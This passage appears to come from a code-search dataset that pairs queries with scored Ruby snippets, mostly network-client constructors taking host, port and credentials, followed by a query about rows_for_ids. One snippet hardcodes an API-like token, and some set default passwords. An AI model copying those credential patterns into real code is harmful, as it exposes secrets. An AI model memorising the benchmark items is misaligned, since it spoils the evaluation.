"score": "0.5376192",
"text": "def initialize(host = \"127.0.0.1\", port = 3000)\n super(host, port, &method(:on_connection))\n end",
"title": ""
},
{
"docid": "7c5ca32c95be7e6b3890e4a073c7015a",
"score": "0.5376192",
"text": "def initialize(host = \"127.0.0.1\", port = 3000)\n super(host, port, &method(:on_connection))\n end",
"title": ""
},
{
"docid": "5f7aa22bc3e8ea6d1f1bfde372a8df67",
"score": "0.5370256",
"text": "def initialize(host, port)\n @host, @port = host, port\n end",
"title": ""
},
{
"docid": "ee1fa4e3624e807658d5e780f0d3c2e1",
"score": "0.53530556",
"text": "def connect(host, port = 6667)\n socket = TCPSocket.new host, port\n sockets[host] = socket\n end",
"title": ""
},
{
"docid": "806abace19991704b25e7c5ca90f80d8",
"score": "0.5348611",
"text": "def initialize(host, port, cache=false)\n @s = UDPSocket.new()\n @s.bind(host, port)\n @thread = nil\n\n # Create a cache if the user wanted one\n if(cache)\n @cache = Vash.new()\n end\n end",
"title": ""
},
{
"docid": "99a02084899dc026299665160efbf4b5",
"score": "0.53402394",
"text": "def host(host, port)\n @host = host\n @port = port\n end",
"title": ""
},
{
"docid": "c0f7031b14e9e673dbc16dcb4f0289ad",
"score": "0.5317421",
"text": "def initialize(host, options = {})\n self.host = host\n self.user = options[:user]\n self.password = options[:password]\n self.port = options[:port] || 22\n self.auth_methods = options[:auth_methods] || %w[password keyboard-interactive]\n end",
"title": ""
},
{
"docid": "ad2e48bc9e4c4cfbaafb97742c87691e",
"score": "0.53139144",
"text": "def initialize(host, port)\n @server = UDPSocket.new\n @server.bind(host, port)\n\n puts \"running on host: #{host}\"\n\n @clients = {}\n @next_bucket = 0\n @chat_array = Array.new(CHAT_LENGTH, [' ', nil]) # each element is [character, bucket]\n @outbox = [] # array of messages, as hashes with sender info\n\n @monitor = false\n end",
"title": ""
},
{
"docid": "35d9a16525fbc23f9548298bf99fa772",
"score": "0.5249026",
"text": "def initialize(host, port)\n self.backend = EventMachine::Protocols::Redis.connect(host, port)\n end",
"title": ""
},
{
"docid": "81d424ba1b1c13115da1fef7e457e22e",
"score": "0.52361625",
"text": "def initialize(host)\n @host = host\n end",
"title": ""
},
{
"docid": "aad1051b46b9e199c85e84f6a78b097c",
"score": "0.5229213",
"text": "def initialize(memcache, host, port = DEFAULT_PORT, weight = DEFAULT_WEIGHT)\r\n raise ArgumentError, \"No host specified\" if host.nil? or host.empty?\r\n raise ArgumentError, \"No port specified\" if port.nil? or port.to_i.zero?\r\n\r\n @host = host\r\n @port = port.to_i\r\n @weight = weight.to_i\r\n\r\n @sock = nil\r\n @retry = nil\r\n @status = 'NOT CONNECTED'\r\n @timeout = memcache.timeout\r\n @logger = memcache.logger\r\n end",
"title": ""
},
{
"docid": "65cfa0255e91ed9dc60b1bdc95014f1b",
"score": "0.52005064",
"text": "def initialize(host)\n @host = host\n end",
"title": ""
},
{
"docid": "65cfa0255e91ed9dc60b1bdc95014f1b",
"score": "0.52005064",
"text": "def initialize(host)\n @host = host\n end",
"title": ""
},
{
"docid": "f45867548514d7ebf73d174adfbaca31",
"score": "0.5199749",
"text": "def initialize(host, port)\n @host = host\n @port = port\n @sock = nil\n end",
"title": ""
},
{
"docid": "977f84aff601a18427da7b67dd1c7d84",
"score": "0.5197313",
"text": "def initialize(host=\"localhost\",port=\"6002\",user=\"autohb\",pass=\"autopass\")\n @client = SIP2Client.new(host, port)\n @client.connect(\"#{user}\", \"#{pass}\")\n end",
"title": ""
},
{
"docid": "6309a4277ada796c218aea50b7f9ecd8",
"score": "0.51919615",
"text": "def add_peer(host, port)\n begin\n pstrlen = \"\\x13\"\n pstr = 'BitTorrent protocol'\n reserved = \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n handshake = \"#{pstrlen}#{pstr}#{reserved}#{@meta_info.info_hash}#{TrackerInfo::CLIENT_ID}\"\n Timeout.timeout(HANDSHAKE_TIMEOUT) { @peers << Peer.new(host, port, handshake, @meta_info.info_hash) }\n rescue => exception\n PrettyLog.error(\"#{__FILE__}:#{__LINE__} #{exception}\")\n end\n end",
"title": ""
},
{
"docid": "016f0d075b1dac5566280a8d660430ab",
"score": "0.5191203",
"text": "def initialize(host='localhost')\n\t\t@host = host\n\tend",
"title": ""
},
{
"docid": "e8ca2bc1e181a3667d78f642ce149b4e",
"score": "0.5190549",
"text": "def initialize(host, port)\n @host, @port = host, port\n @server = TCPServer.new(@host, @port)\n @conn_mngr = ConnectionManager.new\n @socket_ui, @socket_wr = nil\n end",
"title": ""
},
{
"docid": "f1eea1142a0f38443e256cb958be8a99",
"score": "0.51740205",
"text": "def initialize(host, port)\n @server = ::TCPServer.new host, port\n run!\n end",
"title": ""
},
{
"docid": "624cd59441699c404eee74f370a18394",
"score": "0.51679474",
"text": "def initialize( host, port=11211, weight=DefaultServerWeight )\n\t\t\tif host.nil? || host.empty?\n\t\t\t\traise ArgumentError, \"Illegal host %p\" % host\n\t\t\telsif port.nil? || port.to_i.zero?\n\t\t\t\traise ArgumentError, \"Illegal port %p\" % port\n\t\t\tend\n\n\t\t\t@host \t= host\n\t\t\t@port \t= port\n\t\t\t@weight = weight\n\n\t\t\t@sock \t= nil\n\t\t\t@retry \t= nil\n\t\t\t@status\t= \"not yet connected\"\n\t\tend",
"title": ""
},
{
"docid": "4b0e9ddcaf1455ca746463a74bee0012",
"score": "0.5159848",
"text": "def initialize(host, operation, client)\n @host = host\n @operation = operation\n @roomorama_client = client\n end",
"title": ""
},
{
"docid": "89ea11bdb827c36c6d2e02f31817f3c3",
"score": "0.51484096",
"text": "def initialize(host, port, options = {})\n if options[:enable_persistence]\n require_relative 'message_handler/core/persistence'\n end\n options[:log_file_fq_path] ||= 'log/qeemono_server.log'\n\n init_logger(\"#{host}:#{port}\", options[:log_file_fq_path])\n\n # ************************\n\n @qsif = { # The internal server interface\n :logger => @logger,\n :host => host,\n :port => port,\n :options => options,\n :notificator => nil, # Is set by the Notificator itself\n :message_handler_manager => nil, # Is set by the MessageHandlerManager itself\n :channel_manager => nil, # Is set by the ChannelManager itself\n :client_manager => nil, # Is set by the ClientManager itself\n :server => self\n }\n\n @qsif_public = @qsif # Set the public server interface used by all message handlers\n # ... until now internal == public qsif\n\n # ************************\n\n Qeemono::Notificator.new(@qsif) # Must be the first because all following are going to use the Notificator\n @message_handler_manager = Qeemono::MessageHandlerManager.new(@qsif, @qsif_public)\n Qeemono::ChannelManager.new(@qsif)\n Qeemono::ClientManager.new(@qsif)\n end",
"title": ""
},
{
"docid": "dfd9331e03ae81606b0fe4ef7cb4d165",
"score": "0.5143904",
"text": "def initialize(proto, host, port, user, pass)\n @proto = proto\n @host = host\n @port = port\n @user = user\n @pass = pass\n end",
"title": ""
},
{
"docid": "f00a19b42f6f626b073c8ab5a1643ffb",
"score": "0.51316106",
"text": "def initialize(connection: nil, host: 'localhost', port: 6600)\n @connection = if connection\n connection\n else\n Connection.new(host: host, port: port)\n .tap(&:connect)\n .tap(&:gets)\n end\n end",
"title": ""
},
{
"docid": "3204c3b622c143faeb4c9a23f4059b4f",
"score": "0.5123144",
"text": "def connect(user, host, port)\n if @aliases.has_key?(host)\n alias_info = @aliases[host]\n host = alias_info[:host]\n if user && alias_info.has_key(:user)\n puts \"The user is ambiguous because it is defined by the alias and by the argument.\"\n @keyboard_handler.reactivate\n return\n end \n user = user || alias_info[:user]\n port = alias_info[:port] || port\n end\n unless user\n puts \"The user is not defined.\"\n @keyboard_handler.reactivate\n return\n end\n unless port\n puts \"The port is not defined.\"\n @keyboard_handler.reactivate\n return\n end\n @connection_manager.disconnect if connection_open?\n clear_command_buffer\n timer = EM::PeriodicTimer.new(0.1) do\n unless connection_open?\n timer.cancel\n puts \"Trying to connect to server. This may take a while.\"\n @connection_manager.connect(user, host, port)\n end\n end\n end",
"title": ""
},
{
"docid": "b8c76ff6bc96ed6b4bc377548796de5a",
"score": "0.5120563",
"text": "def initialize(host='localhost', port=7890)\n @host = host\n @port = port\n socket\n end",
"title": ""
},
{
"docid": "082c370602d26bf40e5940ee6272f252",
"score": "0.51162064",
"text": "def initialize(user, hostname, port = 22)\n @user = user\n @hostname = hostname\n @port = port\n end",
"title": ""
},
{
"docid": "1fe4ea760fbeb3f74beb7a60f2d857a6",
"score": "0.5115926",
"text": "def initialize(host, port, waittime = 2.0, prompt = /.*/, *arguments) \n @host = host \n @port = port\n @waittime = waittime\n @prompt = /.*/\n \n @connection = Net::Telnet::new('Host' => host,\n 'Port' => port,\n 'Waittime' => waittime,\n 'Prompt' => prompt,\n 'Telnetmode' => false)\n # just initialized connection will contain server greating\n @response = @connection.waitfor(/.*/)\n end",
"title": ""
},
{
"docid": "d434dc097f5aa1c3569d9670c8f513df",
"score": "0.5112261",
"text": "def initialize(memcache, host, port = DEFAULT_PORT, weight = DEFAULT_WEIGHT)\n raise ArgumentError, \"No host specified\" if host.nil? or host.empty?\n raise ArgumentError, \"No port specified\" if port.nil? or port.to_i.zero?\n\n @memcache = memcache\n @host = host\n @port = port.to_i\n @weight = weight.to_i\n\n @multithread = @memcache.multithread\n @mutex = Mutex.new\n\n @sock = nil\n @retry = nil\n @status = 'NOT CONNECTED'\n end",
"title": ""
},
{
"docid": "ae7a8091a856e989bfc43e14dcc78cf4",
"score": "0.50908184",
"text": "def initialize(host='127.0.0.1', port=4949, reconnect=true, options = {})\n @options = DEFAULT_OPTIONS.merge(options)\n @connection = Munin::Connection.new(host, port, reconnect, @options)\n end",
"title": ""
},
{
"docid": "44507c82f61cc055065ead0c217cbbb4",
"score": "0.5088957",
"text": "def connect(host, port = 29287, db_name = 'seonmoro')\r\n raise ArgumentError, 'A hostname has to be provided.' if host == nil\r\n tries = 0\r\n begin\r\n tries += 1\r\n @db = Mongo::Connection.new(host, port).db(db_name)\r\n rescue\r\n retry unless tries >= MAX_TRIES\r\n end\r\n\r\n end",
"title": ""
},
{
"docid": "5e0a8410d4eea7d648d6d7bf047eab54",
"score": "0.5085578",
"text": "def initialize(host = '127.0.0.1', port = 4242, protocol = 'http')\n @host = host\n @port = port\n\n @client = \"#{protocol}://#{host}:#{port}/\"\n @connection = Excon.new(@client, persistent: true, idempotent: true, tcp_nodelay: true)\n @connection_settings = @connection.data\n configure\n end",
"title": ""
},
{
"docid": "4d397df892b9701ee1aaebee3ffa8d0a",
"score": "0.508534",
"text": "def initialize(host, port, passwd, logger = nil)\n @host, @port, @passwd, @logger = host, port, passwd, logger\n @request_id = 1\n end",
"title": ""
},
{
"docid": "dbf125b837a30d3a4914d1d64010057b",
"score": "0.5078477",
"text": "def initialize(host, options = {})\n @host = host\n @options = options\n end",
"title": ""
},
{
"docid": "bce2ece12bce1b2b71d9f504c8a627cc",
"score": "0.50613153",
"text": "def initialize host='localhost', port=4567\n @port = port\n @host = host\n @domain = \"#{@host}:#{@port}\"\n @protocol = \"http://\"\n @address = \"#{@protocol}#{@domain}\"\n end",
"title": ""
},
{
"docid": "d434f882f20dfaaed0b216d321fae3a6",
"score": "0.5027957",
"text": "def initialize(host, port, user, password, root_path = '/', logger = StdoutLogger)\n\t\t\t@host = host\n\t\t\t@port = port\n\t\t\t@user = user\n\t\t\t@password = password\n\t\t\t@root_path = root_path\n\t\t\t\n\t\t\tinitialize_connection\n\t\tend",
"title": ""
},
{
"docid": "733631a9e1860da8ba67f44257835232",
"score": "0.50248563",
"text": "def initialize(_host, _user, _password)\r\n @host = _host\r\n @user = _user\r\n @password = _password\r\n end",
"title": ""
},
{
"docid": "a7f392605ca3e0610f2ac21ecd01e1e0",
"score": "0.5023732",
"text": "def connect(host = 'localhost', port = 10_011)\n begin\n @sock = TCPSocket.new(host, port)\n rescue\n # %x\"sh #{Settings.teamspeak.ts_path}/ts3server_startscript.sh start\"\n # %x\"#{Settings.teamspeak.ts_path}/test\"\n raise ServerError.new('Error', 'Global server is not running')\n end\n # Check if the response is the same as a normal teamspeak 3 server.\n if @sock.gets.strip != 'TS3'\n raise ServerError.new(\"Error\", 'Socket not TS3')\n end\n\n # Remove useless text from the buffer.\n @sock.gets\n end",
"title": ""
},
{
"docid": "0a2f3b8189986241987c792a68c1be14",
"score": "0.5011977",
"text": "def register_games_host(hostname, port)\n server_proxy = XMLRPC::Client.new(hostname, '/RPC2', port).proxy('gameshost')\n @server_list.push(ServerInfo.new(hostname, port, server_proxy))\n puts \"#{port} connected\"\n 'nil'\n end",
"title": ""
},
{
"docid": "93e3c827705d6cf3f6f495a129c15fa9",
"score": "0.5007903",
"text": "def initialize *args\n opts = args.last.is_a?(Hash) ? args.last : {}\n @host = opts[:host] || \"localhost\"\n @port = opts[:port] || 8086\n @username = opts[:username] || \"root\"\n @password = opts[:password] || \"root\"\n @database = args.first\n end",
"title": ""
},
{
"docid": "dbe05cde25a9e46e42a4619a763b68b3",
"score": "0.4997616",
"text": "def initialize(host, port)\n @host = host\n @har = false\n uri = \"http://#{host}:#{port}/proxy\"\n proxy = RestClient::Resource.new uri\n @port = MultiJson.load(proxy.post '').fetch('port')\n @resource = RestClient::Resource.new(\"#{uri}/#{@port}\")\n end",
"title": ""
},
{
"docid": "04f2d0e9650a96aeb5377dc39d22d35e",
"score": "0.49973243",
"text": "def initialize(host, mask = 32)\n @mask, @mask_length, @mask_bytes = process_mask(mask)\n if host.class == String\n ip = host.split(/\\./)\n (0..3).each { |i| ip[i] = '0' if ip[i] == nil}\n @host = ((ip[0].to_i << 24) | (ip[1].to_i << 16) | (ip[2].to_i << 8) | ip[3].to_i)\n elsif host.class == Integer\n @host = host\n else\n @host = nil\n return\n end\n @network = @host & @mask\n @broadcast = (~@network & ~@mask & 0xFFFFFFFF) | @network\n @last_host = @broadcast - 1\n end",
"title": ""
},
{
"docid": "07891850a82728dcfce0846e6dc9af5d",
"score": "0.4996957",
"text": "def initialize(host:, port:, ssl: false, username:, password:)\n self.host = host\n self.port = port\n self.ssl = ssl\n self.username = username\n self.password = password\n\n # attempt to obtain the auth_key\n raise \"Exception attempting to obtain the auth_key\" if (self.auth_key = get_auth_key).nil?\n\n self\n end",
"title": ""
},
{
"docid": "f2ba14f020ba602a28b712cc6beb82ec",
"score": "0.49842474",
"text": "def initialize(host = 'localhost:3000')\n @host = host\n end",
"title": ""
},
{
"docid": "52d02b37b318e7f94993511b19834f62",
"score": "0.4968124",
"text": "def initialize host, port = 64738, options = {}\n @log = Logging.logger[self]\n @host = host\n @port = port\n @options = options\n @channels = []\n @cert_manager = CertificateManager.new\n\n unless @options.key? :username\n raise ServerError, 'no :username is provided'\n end\n end",
"title": ""
},
{
"docid": "39e89fb01212a4a74ed3228e84992476",
"score": "0.49635854",
"text": "def initialize(host, user)\n @host = host\n @user = user\n end",
"title": ""
},
{
"docid": "ba6ab8fe07d14402f18b81fe05c120e9",
"score": "0.49534017",
"text": "def initialize(host = 'localhost', port = 4304)\n @socket = TCPSocket.new host, port\n end",
"title": ""
},
{
"docid": "99517ea1d370780759af3af05fcbb732",
"score": "0.4946159",
"text": "def initialize(host, port, game, player_name, key_size, timeout=2000)\n # remote host address, remote host port, channels, download bandwidth, upload bandwidth\n @socket = _create_connection(host, port, 2, 0, 0)\n @host, @port, @game, @player_name, @key_size, @timeout =\n host, port, game, player_name, key_size, timeout\n\n @socket.on_connection(method(:on_connect))\n @socket.on_disconnection(method(:on_close))\n @socket.on_packet_receive(method(:on_packet))\n\n @dh = @password_hash = nil\n end",
"title": ""
},
{
"docid": "e3bef9fb835e7fbcd3a9e00e47a2a9fb",
"score": "0.49404472",
"text": "def initialize(host=nil, port=nil, timeout=5)\n @data = 'ping'\n\n super(host, port, timeout)\n\n @bind_host = nil\n @bind_port = nil\n end",
"title": ""
},
{
"docid": "1e04493289c455861bf08a093d1caf15",
"score": "0.49367177",
"text": "def initialize(user = \"monetdb\", passwd = \"monetdb\", lang = \"sql\", host=\"127.0.0.1\", port = \"50000\")\n\t\t@user = user\n\t\t@passwd = passwd\n\t\t@lang = lang.downcase\n\t\t@host = host\n\t\t@port = port\n\n\t\t@client_endianness = @@CLIENT_ENDIANNESS\n\n\t\t@auth_iteration = 0\n\t\t@connection_established = false\n\n\t\t@transactions = MonetDBTransaction.new # handles a pool of transactions (generates and keeps track of savepoints)\n\n\t\tif @@DEBUG == true\n\t\t\trequire 'logger'\n\t\tend\n\n\t\tif @lang[0, 3] == 'sql'\n\t\t\t@lang = \"sql\"\n\t\tend\n\n\tend",
"title": ""
},
{
"docid": "b212acb0fc927ba56a63dcb7c6e58368",
"score": "0.49339893",
"text": "def start_client(host = T.unsafe(nil), port = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "b212acb0fc927ba56a63dcb7c6e58368",
"score": "0.49339893",
"text": "def start_client(host = T.unsafe(nil), port = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "f830922de381b4e54471edd919a74e39",
"score": "0.49323586",
"text": "def initialize(host, request)\n @host = host\n @request = request\n end",
"title": ""
},
{
"docid": "b453facdb0da033092b14cc8ef7ef78b",
"score": "0.49293977",
"text": "def initialize(host = \"localhost\", port = 8194)\n @session_options = Bberg::Native::SessionOptions.new\n @session_options.setServerHost(host)\n @session_options.setServerPort(port)\n @mutex = Mutex.new\n end",
"title": ""
},
{
"docid": "6abbf8a4a090841238aa0f3be64a3bc9",
"score": "0.4926771",
"text": "def initialize(host, port)\n @host, @port = host, port\n handle_socket_errors { super }\n end",
"title": ""
},
{
"docid": "b9829bd1076b7ce0fb6a2c9bb3d533aa",
"score": "0.49166086",
"text": "def initialize(host, port = DEFAULT_PORT, timeout = 10)\n raise ArgumentError, \"No host specified\" if host.nil? or host.empty?\n raise ArgumentError, \"No port specified\" if port.nil? or port.to_i.zero?\n\n @host = host\n @port = port.to_i\n\n @sock = nil\n @retry = nil\n @status = 'NOT CONNECTED'\n @timeout = timeout\n end",
"title": ""
},
{
"docid": "4e34c3dfa3b085f8e4ae70278677bde7",
"score": "0.49111357",
"text": "def initialize(host, user, password='', options={})\n @host = host\n @user = user\n @port = options[:port] || 22\n @password = password\n @history = []\n @track_history = true\n @timeout = options[:timeout]\n\n if options[:history] == false\n @track_history = false\n end\n\n if @timeout && !@timeout.kind_of?(Integer)\n raise ArgumentError, \"Timeout value should be numeric\"\n end\n end",
"title": ""
},
{
"docid": "5cc4fb0099cccd1a59992ea8032626b4",
"score": "0.49090126",
"text": "def bind(host, port)\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "2361d673365e4b182abe212a30230bd7",
"score": "0.490516",
"text": "def query_host(query)\n open_host\n @host.puts(query)\n @answer = @host.waitfor(true)\n close_host\n @answer\n end",
"title": ""
},
{
"docid": "6a71cb95ea4942279ac8a446381e2d17",
"score": "0.49033573",
"text": "def initialize(host, port)\n # Initialize state\n @host = host\n @port = port\n @channels = []\n\n # Connect to the remote host\n @socket = Socket.new(Socket::AF_INET, Socket::SOCK_STREAM, 0)\n @socket.connect(Socket.sockaddr_in(@port, @host))\n\n # Create the underlying LibSSH2 structures\n @native_session = Native.session_init\n @native_session.set_blocking(false)\n blocking_call { @native_session.handshake(@socket.fileno) }\n end",
"title": ""
},
{
"docid": "2f0481cc8632aa4424e15320e184bd4b",
"score": "0.48973188",
"text": "def add_connection(host, port)\n connection = NodeConnection.new(host, port, @connection_timeout)\n connection.on_close do\n @lock.synchronize do\n @connections.delete(connection)\n connection_commands, @command_queue = @command_queue.partition do |command|\n command.is_a?(TargetedRequestCommand) && command.connection_id == connection.connection_id\n end\n connection_commands.each do |command|\n command.future.fail!(ConnectionClosedError.new)\n end\n end\n end\n f = connection.open\n @lock.synchronize do\n @connections << connection\n end\n command_queue_push(nil)\n f\n end",
"title": ""
},
{
"docid": "39bc97b695cb46f251fc2064a5722553",
"score": "0.48894474",
"text": "def initialize(host, user, options)\n @host = host\n @user = user\n @options = options\n end",
"title": ""
},
{
"docid": "86dca1227446c5ef4c82362fd6d98e13",
"score": "0.48893043",
"text": "def initialize(host, port=554)\n @session = rand(99999999)\n @stream_server = RTSP::StreamServer.instance\n @interface_ip = host\n @stream_server.interface_ip = host\n @tcp_server = TCPServer.new(host, port)\n @udp_server = UDPSocket.new\n @udp_server.bind(host, port)\n @agent = {}\n end",
"title": ""
},
{
"docid": "ef348711a5e776add40d4fca5ebb1dc6",
"score": "0.4887807",
"text": "def query(query)\n Query.new(message_hash(query))\n end",
"title": ""
},
{
"docid": "f772e8c85ee93c312f875051f5dd9317",
"score": "0.48868197",
"text": "def initialize(host, port = 22, connection_timeout = 30, actions = [])\n @host = host\n @port = port\n @connection_timeout = connection_timeout\n @actions = actions\n end",
"title": ""
},
{
"docid": "4295452c494d2c3722a3227604596245",
"score": "0.48827377",
"text": "def initialize(host = DefaultServerHost, port = DefaultServerPort, uri = DefaultServerUri)\n self.server_host = host\n self.server_port = port\n self.server_uri = uri\n end",
"title": ""
},
{
"docid": "26ca9f36910d17a09b1c5300a3e76a97",
"score": "0.4880024",
"text": "def initialize host = \"127.0.0.1\", port = 7000\n @host = host\n @port = port\n @ssl = false\n if self.is_alive?\n @active = true\n return self\n else\n @active = false\n return nil\n end\n end",
"title": ""
},
{
"docid": "70f0f9370047c8533ad41e5716aef4f9",
"score": "0.48787713",
"text": "def start(host, port); end",
"title": ""
},
{
"docid": "d7d4ac74cb51e6379356660017b5fe72",
"score": "0.48776942",
"text": "def initialize(*args)\n args = NullObject.Null?(args)\n opts = args.extract_options!\n\n server = VLC::Server.new\n server.headless = opts.fetch(:headless, false)\n\n if args.size == 2\n server.host = args.first.to_s\n server.port = Integer(args.last)\n end\n\n @client = VLC::Client.new(server, opts)\n end",
"title": ""
},
{
"docid": "5ebe3a6203d7314d8d0992d8d002ae7b",
"score": "0.4875043",
"text": "def initialize host, port, type = :tcp\n @host = host\n @port = port\n @transport = determine_type type\n end",
"title": ""
},
{
"docid": "7bd8236980704c713ab20a251c8b4b22",
"score": "0.4874622",
"text": "def initialize(options = {})\n @host = options[:host]\n raise InvalidNodeError, 'missing host' if @host.to_s.empty?\n @port = Integer(options[:port] || 6379)\n @password = options[:password]\n end",
"title": ""
},
{
"docid": "661fc51558fadab9c46854b26ab90bfa",
"score": "0.48686594",
"text": "def host(address, port)\n @host = address\n @port = port\n end",
"title": ""
},
{
"docid": "559bab0b7413f48c723a024fff5ceb27",
"score": "0.48638725",
"text": "def initialize(host, port=9005)\n @host = host\n @port = port\n @is_stopped = false\n @listeners = []\n end",
"title": ""
},
{
"docid": "e5c78154298acc4ba75f063dab34b8df",
"score": "0.48631978",
"text": "def initialize(host, remote_command = nil, options = {})\n @host = host\n @remote_command = remote_command\n @options = options\n end",
"title": ""
},
{
"docid": "7e568b9b77aa449930169880ccd9f15e",
"score": "0.48597136",
"text": "def initialize(host, port)\n @sockets = []\n @server = TCPServer.new(host, port)\n rescue\n _log :error, \"Broadcaster.initialize: #{$!.inspect}:#{$@.join(\"\\n\")}\"\n raise\n end",
"title": ""
},
{
"docid": "f71dce808935de1a2d44746fd3c50cc5",
"score": "0.48570967",
"text": "def initialize(query)\n # move to credentials\n @token = '0421598c2b006b59dd0263e87a685693'\n \n @query = query\n end",
"title": ""
},
{
"docid": "1158c93353bcce496e525c4d215f3c4c",
"score": "0.48545316",
"text": "def initialize(host, port)\n @server = TCPServer.new(host, port)\n @sockets = []\n end",
"title": ""
},
{
"docid": "6bc195335f7d7e13a673439cc237cb97",
"score": "0.48509967",
"text": "def initialize(database,\n host: 'localhost',\n port: 3306,\n user: 'root',\n password: nil)\n @database = database\n @host = host\n @port = port\n @user = user\n @password = password || prompt\n @connection = nil\n @sessions = []\n ObjectSpace.define_finalizer(self, method(:close))\n yield(self) if block_given?\n end",
"title": ""
},
{
"docid": "00e27bf18c93554b47dea7ff9b6c959c",
"score": "0.48416832",
"text": "def initialize(host, port, sock)\n @peerhost = host\n @peerport = port\n @srvsock = sock\n end",
"title": ""
}
] |
d8eeda52dce8aef8a15b586fe119e50a | A synonym for rows_for_ids. | [
{
"docid": "157f1bb4de25dabe565c905151bc1990",
"score": "0.68294513",
"text": "def row_for_id(id)\n rows_for_ids(id)\n end",
"title": ""
}
] | [
{
"docid": "e9053ca5dada419c90a340a0b2b2b0fa",
"score": "0.6317947",
"text": "def rows\n @pz.group_by.each_with_index { |val, n| row_id(n) }\n end",
"title": ""
},
{
"docid": "b98011f6d1e2100c324ad5fcba30c6c9",
"score": "0.6212253",
"text": "def row_id(&block)\n @row_id_proc = block\n end",
"title": ""
},
{
"docid": "4c81cd0bc194e4a02fa8b26ae1cd8743",
"score": "0.6041973",
"text": "def ids_getter(name, metadata)\n ids_method = \"#{name.to_s.singularize}_ids\"\n re_define_method(ids_method) do\n send(name).only(:id).map(&:id)\n end\n self\n end",
"title": ""
},
{
"docid": "f688d4196f492c96aa00452cb54192db",
"score": "0.59021103",
"text": "def rows\n @rows ||= begin\n row_indexes.map do |e|\n e.map do |e|\n @input[e]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "47e9ec07e7d676c1db795ddddfef3697",
"score": "0.59006315",
"text": "def ids\n primary_key_array = Array(primary_key)\n\n if loaded?\n result = records.map do |record|\n if primary_key_array.one?\n record._read_attribute(primary_key_array.first)\n else\n primary_key_array.map { |column| record._read_attribute(column) }\n end\n end\n return @async ? Promise::Complete.new(result) : result\n end\n\n if has_include?(primary_key)\n relation = apply_join_dependency.group(*primary_key_array)\n return relation.ids\n end\n\n columns = arel_columns(primary_key_array)\n relation = spawn\n relation.select_values = columns\n\n result = if relation.where_clause.contradiction?\n ActiveRecord::Result.empty\n else\n skip_query_cache_if_necessary do\n klass.connection.select_all(relation, \"#{klass.name} Ids\", async: @async)\n end\n end\n\n result.then { |result| type_cast_pluck_values(result, columns) }\n end",
"title": ""
},
{
"docid": "75af7be16582af21e7aecbc1d479e2e9",
"score": "0.5896921",
"text": "def rows\n @rows ||= _row_args.map.with_index do |row_args, i|\n klass, args = row_args\n\n args = args.dup\n options = args.extract_options!\n proc = _row_scopes[i]\n scope = self.instance_eval(&proc)\n\n klass.new(*args, scope, options)\n end\n end",
"title": ""
},
{
"docid": "5afdcd274382e04a5482e66c150d01ec",
"score": "0.5893411",
"text": "def ids\n pluck(:id)\n end",
"title": ""
},
{
"docid": "a57ad8fd15cd2e46ceb497d492942917",
"score": "0.57986355",
"text": "def for_ids(*ids)\n field = klass.fields[\"_id\"]\n ids.flatten!\n if ids.size > 1\n any_in(:_id => ids.map{ |id| field.serialize(id) })\n else\n where(:_id => field.serialize(ids.first))\n end\n end",
"title": ""
},
{
"docid": "664184509f78921c3d4e8874a18dcc25",
"score": "0.5793282",
"text": "def rows_for(record, &block)\n [row_for(record)].product(*associated_rows_for(record), &block)\n end",
"title": ""
},
{
"docid": "2be80a324263e18a6b8eab07c40e93f1",
"score": "0.5790748",
"text": "def rows_for_ids(id_or_ids)\n begin\n cache.rows_for_ids(id_or_ids)\n rescue LowCardTables::Errors::LowCardIdNotFoundError => lcinfe\n flush!(:id_not_found, :ids => lcinfe.ids)\n cache.rows_for_ids(id_or_ids)\n end\n end",
"title": ""
},
{
"docid": "637d2ad66f0a0cf70620699f335dde15",
"score": "0.5776121",
"text": "def rows\n Array.new self\n end",
"title": ""
},
{
"docid": "2124f626a77d18e5fc961b794ddcafc4",
"score": "0.5775453",
"text": "def rowid()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "5feb3b6f30c3af87f5c24321d24ab9fe",
"score": "0.5658968",
"text": "def associated_records(ids)\n max_ids_in_a_list = connection.ids_in_list_limit || ids.size\n records = []\n ids.each_slice(max_ids_in_a_list) do |some_ids|\n records += yield(some_ids)\n end\n records\n end",
"title": ""
},
{
"docid": "64183dc051d60ef3d9f6d2b1ed9915d4",
"score": "0.5629507",
"text": "def article_ids\n query('SELECT Id FROM KnowledgeArticle').map(&:Id)\n end",
"title": ""
},
{
"docid": "91b9b3bf143fade906aaae29b916a690",
"score": "0.5615695",
"text": "def rows( start_row = 1, end_row = data.rows )\n return to_enum(:rows, start_row, end_row) unless block_given?\n ( start_row..end_row ).each { |idx| yield row( idx ) }; self\n end",
"title": ""
},
{
"docid": "307aed3b7f4630dc3963ca244f997d28",
"score": "0.5565803",
"text": "def row(row_id); get(\"#{link('rows')}/#{row_id}\"); end",
"title": ""
},
{
"docid": "b4e1969243b4bd3a3472de18c8edb671",
"score": "0.5551457",
"text": "def rows id\n get_image(id).rows\n end",
"title": ""
},
{
"docid": "11fa3db2ccba55f639d90985bce8fe1f",
"score": "0.5548684",
"text": "def fetch_records(ids)\n model.where(id: ids)\n end",
"title": ""
},
{
"docid": "75688d293980492f931d9013e6e784c6",
"score": "0.55461967",
"text": "def result_ids(args = {})\n expect_args(:result_ids, args, RESULTS_ARGS)\n @result_ids ||=\n if need_letters\n # Include first letter of paginate-by-letter field right away; there's\n # typically no avoiding it. This optimizes away an extra query or two.\n @letters = {}\n ids = []\n select = \"DISTINCT #{model.table_name}.id, LEFT(#{need_letters},4)\"\n select_rows(args.merge(select: select)).each do |id, letter|\n letter = letter[0, 1]\n @letters[id.to_i] = letter.upcase if /[a-zA-Z]/.match?(letter)\n ids << id.to_i\n end\n ids\n else\n select_values(args).map(&:to_i)\n end\n end",
"title": ""
},
{
"docid": "7f96e79537d410e6e4e722051b384617",
"score": "0.5540426",
"text": "def rows\n RowEnum.new(self)\n end",
"title": ""
},
{
"docid": "26f3bbe7d34e4667bd38099f936bde34",
"score": "0.5529362",
"text": "def omim_ids\n @table.keys\n end",
"title": ""
},
{
"docid": "975e09f04a529cca30588cb5957d4e37",
"score": "0.5511979",
"text": "def results\n @scope.where(@scope.primary_key => @ids).to_a\n end",
"title": ""
},
{
"docid": "76d3f24800913cec367a62c1a1a900e6",
"score": "0.55081284",
